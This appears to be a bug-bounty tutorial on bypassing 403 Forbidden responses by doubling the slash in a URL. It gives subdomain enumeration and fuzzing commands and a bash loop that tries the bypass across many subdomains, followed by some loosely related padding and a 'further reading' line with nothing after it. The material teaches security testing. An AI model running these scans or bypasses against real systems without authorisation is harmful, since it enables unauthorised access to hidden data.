2025-02-08
Bug – Information disclosure through 403 bypass
Step 1: Subdomain Enumeration
The first step in identifying potential vulnerabilities is to enumerate subdomains. Tools like Sublist3r, Amass, or `Assetfinder` can be used to discover subdomains of a target domain.
sublist3r -d example.com -o subdomains.txt
Step 2: FUZZ Interesting Subdomains
Once you have a list of subdomains, the next step is to fuzz them for interesting directories or endpoints. Tools like `ffuf` or `gobuster` are highly effective for this purpose.
ffuf -w /path/to/wordlist.txt -u https://sub.domain.com/FUZZ -mc 200
A common scenario is encountering a `403 Forbidden` error when accessing a specific endpoint, such as:
https://sub.domain.com/status ==> 403 Forbidden
However, by simply adding an extra `/` to the URL, you might bypass the restriction:
https://sub.domain.com//status ==> 200 OK
This technique can reveal sensitive information or hidden endpoints that were previously inaccessible.
What Undercode Say:
Bypassing 403 errors is a critical skill in bug hunting and penetration testing. It often reveals hidden vulnerabilities that can lead to significant information disclosure. Here are some additional Linux-based commands and tools to enhance your workflow:
1. Subdomain Enumeration with Amass:
amass enum -d example.com -o subdomains.txt
2. Directory Fuzzing with Gobuster:
gobuster dir -u https://sub.domain.com -w /path/to/wordlist.txt -t 50
3. HTTP Status Code Filtering with Curl:
curl -s -o /dev/null -w "%{http_code}" https://sub.domain.com/status
4. Automating 403 Bypass with Bash:
for url in $(cat subdomains.txt); do
response=$(curl -s -o /dev/null -w "%{http_code}" "$url//status")
if [ "$response" == "200" ]; then
echo "Bypass successful: $url//status"
fi
done
5. Using Nikto for Vulnerability Scanning:
nikto -h https://sub.domain.com
6. Analyzing Web Traffic with Tcpdump:
sudo tcpdump -i eth0 -w traffic.pcap
7. Decoding URLs with Python:
import urllib.parse url = "https://sub.domain.com//status" print(urllib.parse.unquote(url))
8. Checking for Open Ports with Nmap:
nmap -p 80,443 sub.domain.com
9. Extracting Cookies with Browser DevTools:
Open Developer Tools (F12) > Application > Cookies.
10. Using Wfuzz for Advanced Fuzzing:
wfuzz -c -z file,/path/to/wordlist.txt --hc 403 https://sub.domain.com/FUZZ
For further reading, refer to the following resources:
By mastering these techniques and tools, you can significantly improve your ability to identify and exploit vulnerabilities in web applications. Always ensure you have proper authorization before performing any security testing.
This article is written to provide practical, actionable insights for cybersecurity enthusiasts and professionals. The commands and techniques shared are verified and widely used in the industry.
References:
Hackers Feeds, Undercode AI
